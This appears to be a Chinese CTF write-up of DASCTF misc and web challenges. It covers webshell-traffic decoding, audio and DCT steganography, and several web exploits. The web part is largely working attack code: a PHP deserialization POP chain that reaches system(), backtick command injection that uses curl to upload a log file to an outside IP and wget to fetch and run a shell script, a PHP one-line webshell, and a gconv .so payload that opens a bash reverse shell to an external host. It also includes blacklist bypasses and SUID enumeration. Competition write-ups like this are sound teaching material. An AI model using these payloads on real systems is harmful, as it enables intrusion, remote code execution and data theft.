$data = 'JrhrMWMzODgwNnKp+yzEe/V+BmMGU1joHxkWZdbHzcwrzoftAY7cxGzLbZ/z8e38Bc7XradHhZL8tA3CudX1rOtnxaYjHjnm/Bobbrsl57NE9kJv7pW1HnCAP3JEZQBodnom+Oa9VxHxsQvwe+eHxRGsDsgXX/kE342APGVWZM51C80lwh+VYUoRSCt0GVFH7swmrIR5sydtIjeSUQGDV/lW1TtgNxB4Wa50Pmd0dzYwtSw/IdhvYu9WvbPVSfNjeEfjBkgofDUTdS3yMQRItrv3gdORz5ostfpb5+txYj3Oz/ebr6+kfEWz1bZ9KLfs7aHvzXdDaEkx465004EWloEyoDNjt1ohhnQ4Yjc=';
$decode = encode(base64_decode($data),$key);
echo base64_encode(gzdecode($decode));
再解一个base64就行了,可以看到有个flag.txt
写进winhex,然后binwalk提一下
需要密码
结合上面的key is key1***,以及注释中的password is md5(Godzilla' key),根据$key='093c1c388069b7e1';因为哥斯拉是(key1***)
的md5的前16位作为秘钥,秘钥也就是093c1c388069b7e1
,我们可以根据这个爆破
import hashlib
l = 'qwertyuiopasdfghjklzxcvbnm1234567890'
for i in l:
for j in l:
for k in l:
f = 'key1' + i + j + k
md5 = hashlib.md5(f.encode(encoding='UTF-8')).hexdigest()
if md5[:16] == '093c1c388069b7e1':
print(f)
print(md5)
得到key为key1sme,md5为093c1c388069b7e18bb4e898fc5ee049
解压得到flag:DASCTF{7d1ef2e35d01942317131fdad088bf5b}
书鱼的秘密
一个奇怪的提示,233,他的16进制是e9
因此全局搜e9
比赛的时候,想着如果是插入了数据,音频本身怎么可能会正常播放,然后就没往这边想,赛后才知道,因为音频的特殊性,每隔10个字节将该字节改为任意字节,对音频的音质都不会有大的的影响
赛后看wp可以发现,每个之间都间隔了10个字节
可以看到是从这里开始每隔十个字节更改数据的,这里是第118个字节
f = open('书鱼的多重文件.wav','rb').read()[118:]
data = bytearray()
for i in range(len(f)//10):
data += (f[i*10]^233).to_bytes(1,byteorder='little')
fs = open('out1.png','wb')
fs.write(data[::-1])
fs.close()
B通道有东西
是个压缩包
提出压缩包,winrar自动修复一下,得到一个Markdown文件
226232 1
23442647826 1
528842 3
5893626874 3
46342 2
6443742 1
473323 2
24462 1-2
66262
354268843
3782867425 484632 2
26548423
23768320-3
52726 1
https://www.chenweiliang.com/cwl-1354.html
这里要神奇的将数字,用九键对应成国家的英文,具体怎么把九键一个键的三个字母精确到一个字母,我猜是要猜
对应完之后在将国家对应出区号,得到
canada 1 -1
afghanistan 1 -93
latvia 3 -371
luxembourg 3 -352
india 2 -91
nigeria 1 -234
greece 2 -30
china 1-2 -86
oman 2 -968
djibouti 3 -253
equatorial guinea 2 -240
bolivia 3 -591
beermuda 0-3 -440
japan 1 -81
然后中间那一列指的是取后面区号的第几位,比如第二个是取93的第一位,就是取9
这样可以得到
1912120866341-4408
然后后面加个空格在md5得到flag
DASCTF{b80ddea112953c5f56fad46758d21ba8}
xxxxxx
开局一个图一个脚本
xxxxxxx = cv2.imread('xxxxxxx.bmp', 0)
xxxxxxxx = cv2.imread('xxxxxxxx.bmp', 0)
xxxxxxxxx, xxxxxxxxxx = xxxxxxx.shape
xxxxxxxxxxx = int(xxxxxxxxx/8)
xxxxxxxxxxxx = int(xxxxxxxxxx/8)
fingernum = xxxxxxxx.shape[0] * xxxxxxxx.shape[1]
r = math.ceil(fingernum/(xxxxxxxxxxx*xxxxxxxxxxxx))
xxxxxxx = np.float32(xxxxxxx)
xxxxxxxxxxxxx = xxxxxxx
for i in range(xxxxxxxxxxx):
for j in range(xxxxxxxxxxxx):
xxxxxxxxxxxxxxx = cv2.dct(xxxxxxx[8*i:8*i+8, 8*j:8*j+8])
for t in range(r):
rx, ry = 4, 4
r1 = xxxxxxxxxxxxxxx[rx, ry]
r2 = xxxxxxxxxxxxxxx[7-rx, 7-ry]
detat=abs(r1-r2)
xxxxxxxxxxxxxx = float(detat + 100)
if xxxxxxxx[i][j] == 0:
if r1 <= r2:
xxxxxxxxxxxxxxx[rx, ry] += xxxxxxxxxxxxxx
if xxxxxxxx[i][j] == 255:
if r1 >= r2:
xxxxxxxxxxxxxxx[7-rx, 7-ry] += xxxxxxxxxxxxxx
xxxxxxxxxxxxx[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(xxxxxxxxxxxxxxx)
cv2.imwrite("xxxxxx.bmp", xxxxxxxxxxxxx)
是个混淆了的DCT变换,https://blog.csdn.net/wsp_1138886114/article/details/116996220
根据这个链接先反混淆一下
import cv2,math
import numpy as np
img = cv2.imread('xxxxxxx.bmp', 0)
flag = cv2.imread('xxxxxxxx.bmp', 0)
height, width = img.shape
block_y = int(height/8)
block_x = int(width/8)
fingernum = flag.shape[0] * flag.shape[1]
r = math.ceil(fingernum/(block_y*block_x))#返回大于等于参数fingernum/(x*y)的最小整数
img = np.float32(img)#转换数据类型
new_img = img
for h in range(block_y):
for w in range(block_x):
data_dct = cv2.dct(img[8*h:8*h+8, 8*w:8*w+8])
for t in range(r):
rx, ry = 4, 4
r1 = data_dct[rx, ry]#可以知道8格一块然后修改dct的3和4处数据
r2 = data_dct[7-rx, 7-ry]
detat=abs(r1-r2)#绝对值
tmp = float(detat + 100)
if flag[h][w] == 0:
if r1 <= r2:#比较两边大小
data_dct[rx, ry] += tmp
if flag[h][w] == 255:
if r1 >= r2:
data_dct[7-rx, 7-ry] += tmp
new_img[8*h:8*h+8, 8*w:8*w+8] = cv2.idct(data_dct)
cv2.imwrite("xxxxxx.bmp", new_img)
写解密脚本
import cv2,math
import numpy as np
from Crypto.Util import number
img = cv2.imread('xxxxxx.bmp', 0)
height, width = img.shape
block_y = int(height/8)
block_x = int(width/8)
img = np.float32(img)
res = ''
for h in range(block_y):
for w in range(block_x):
data_dct = cv2.dct(img[8*h:8*h+8, 8*w:8*w+8])
rx, ry = 4, 4
r1 = data_dct[rx, ry]
r2 = data_dct[7-rx, 7-ry]
if r1 > r2:
res += '0'
else:
res += '1'
print(res)
# from PIL import Image
# MAX = 64
# pic = Image.new("RGB",(MAX, MAX))
# i=0
# for y in range (0,MAX):
# for x in range (0,MAX):
# if(res[i] == '1'):
# pic.putpixel([x,y],(0, 0, 0))
# else:
# pic.putpixel([x,y],(255,255,255))
# i = i+1
# pic.show()
flag图像黑白相间,查看间隔大小猜测是asc码,第一开始一共是101个0,对应e
import cv2,math
from Crypto.Util import number
res = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111111111111111111111111111111111000000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000011111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000111111111111111111111111111111111111111111111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111111111111111000000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111100000000000000000000000000000000000000000000000001111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111111111111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000111111111111111111111111111111111111111111111111111110000000000111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111'
a=[]
for i in range(len(res)-1):
if res[i] != res[i+1]:
a.append(i+1)
print(a)
flag = 'e'
for m in range(len(a)-1):
flag += chr(a[m+1]-a[m])
print(flag)
#[101, 151, 204, 302, 402, 459, 509, 558, 610, 659, 757, 858, 915, 967, 1020, 1119, 1221, 1320, 1420, 1520, 1569, 1668, 1722, 1775, 1873, 1971, 2020, 2118, 2175, 2226, 2281, 2334, 2344]
#e25bd92141be945cfcdd1c65bb1b9375
0x02 WEB
ezpop
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
fin::__destruct
↓↓↓ 对象被当做一个字符串使用时调用,触发__toString
what::__toString
↓↓↓
mix::run
↓↓↓ 对象当作函数,触发__invoke
crow::__invoke
↓↓↓ __invoke的world不存在,触发__call
fin::__call
↓↓↓
mix::get_flag
exp:
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1); //"/r"绕过注释 代码执行
}
}
$o = new fin();
$o->f1 = new what();
$o->f1->a = new mix();
$o->f1->a->m1 = new crow();
$o->f1->a->m1->v1 = new fin();
$o->f1->a->m1->v1->f1 = new mix();
$o->f1->a->m1->v1->f1->m1="\r\nsystem('ls /');";
echo(urlencode(serialize($o)));
calc
源码:
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app=Flask(__name__)
def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)
有两个命令执行点
解法一:
并没有过滤反引号,Linux中反引号是可以执行命令的,这里就可以直接利用,但是这样在eval
中就会报错,导致不会执行os.system
,我们可以用#注释
http://af3fcb87-be75-4fa0-93d0-afbb3a6245dd.node4.buuoj.cn:81/calc?num=123%23`curl%09114.215.25.168:2333`
参考:https://www.anquanke.com/post/id/98896
学一下curl的花式用法
执行ls /,他会把命令执行日志留在log里
http://af3fcb87-be75-4fa0-93d0-afbb3a6245dd.node4.buuoj.cn:81/calc?num=123%23`ls%09/`
读一下log
http://af3fcb87-be75-4fa0-93d0-afbb3a6245dd.node4.buuoj.cn:81/calc?num=123%23`curl%09-T%09/tmp/log.txt%09114.215.25.168:2333`
之后cat flag即可
解法二:
利用wget执下载一个反弹shell的sh文件然后执行
/calc?num=9*9%23`wget%09-P%09/tmp%09http://114.215.25.168/mon.sh` #写入
/calc?num=7*7%23`chmod%09777%09/tmp/mon.sh`
/calc?num=7*7%23`/tmp/mon.sh`
upgdstore
可以直接传phpinfo,禁用了一堆
使用拼接的方法读源码
<?php echo ('fil'.'e_get_contents')('/var/www/html/index.php');
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">
接下来又有两个思路,一个是利用继承,重写一个类,把动态方法调用变成静态方法,第二个是base64进行修饰绕过
绕过过滤方法一:
上传两个php文件
上传一个php文件,内容为PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8+
(base64后一句话木马)
再上传一个利用include+伪协议的方法绕过
这里利用大小写绕过strstr,解码后是php://filter/convert.base64-decode/resource=2b8b8e5570101ff79e9f1bb2967a0833.php
<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0xMS5waHA="));?>
绕过过滤方法二:
利用继承重写一个类,把动态方法调用变成静态方法,这样就能写shell了
<?php
define("EV", "eva"."l");
define("GETCONT", "fil"."e_get_contents");
// 由于禁止了$,我们只能从已有的地方获取$符
define("D",(GETCONT)('/var/www/html/index.php')[353]);
define("SHELL","<?php ".EV."(".D."_POST['a']);");
echo (GETCONT)('./shell.php');
class splf extends SplFileObject {
public function __destruct() {
parent::fwrite(SHELL);
}
}
define("PHARA", new splf('shell.php','w'));
上传方法一:用 SplFileObject 写
能执行命令之后,又有好几种方法上传文件来bypass disable_functions,这里可以通过上传exp.so
和gconv-modules
来bypass disable_functions,也可以用LD_PRELOAD来bypass
exp.c:
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
puts("pwned");
system("bash -c 'bash -i >& /dev/tcp/114.215.25.168/2333 0>&1'");
exit(0);
}
编译后扔自己服务器上:gcc 1.c -o payload.so -shared -fPIC
POST /uploads/91328b287f98a67d167d523d453e4451.php HTTP/1.1
Host: b4e6bb5a-3d67-4de7-9360-a325de302310.node4.buuoj.cn:81
Content-Length: 227
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://b4e6bb5a-3d67-4de7-9360-a325de302310.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://b4e6bb5a-3d67-4de7-9360-a325de302310.node4.buuoj.cn:81/uploads/91328b287f98a67d167d523d453e4451.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: OUTFOX_SEARCH_USER_ID_NCOO=2063489418.517967; UM_distinctid=17ee2cd83fda5e-0ab95a53d98578-f791b31-144000-17ee2cd83feaf5
Connection: close
1=
$url = "http://mon0dy.top/gconv-modules";
$file1 = new SplFileObject($url,'r');
$a="";
while(!$file1->eof())
{
$a=$a.$file1->fgets();
}
$file2 = new SplFileObject('/tmp/gconv-modules','w');
$file2->fwrite($a);
http://b4e6bb5a-3d67-4de7-9360-a325de302310.node4.buuoj.cn:81/uploads/91328b287f98a67d167d523d453e4451.php
POST:1=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");
find / -user root -perm -4000 -print 2>/dev/null
find /bin -perm -u=s -type f 2>/dev/null
find /usr -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
发现有个nl
上传方法二:利用 ftp 进行写
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_anonymous("./")
handler = FTPHandler
handler.authorizer = authorizer
handler.masquerade_address = "xxx"
# 注意要用被动模式
handler.passive_ports = range(2333,2335 )
server = FTPServer(("0.0.0.0", 21), handler)
server.serve_forever()
$local_file = '/tmp/payload.so';
$server_file = 'hack.so';
$ftp_server = 'xxxxx';
$ftp_port=21;
$ftp = ftp_connect($ftp_server,$ftp_port);
$login_result = ftp_login($ftp, 'anonymous', '');
// 注意要开启被动模式
ftp_pasv($ftp,1);
if (ftp_get($ftp, $local_file, $server_file, FTP_BINARY)) {
echo "Successfully written to $local_file\n";
} else {
echo "There was a problem\n";
}
ftp_close($ftp);
- 本文作者: mon0dy
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1464
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!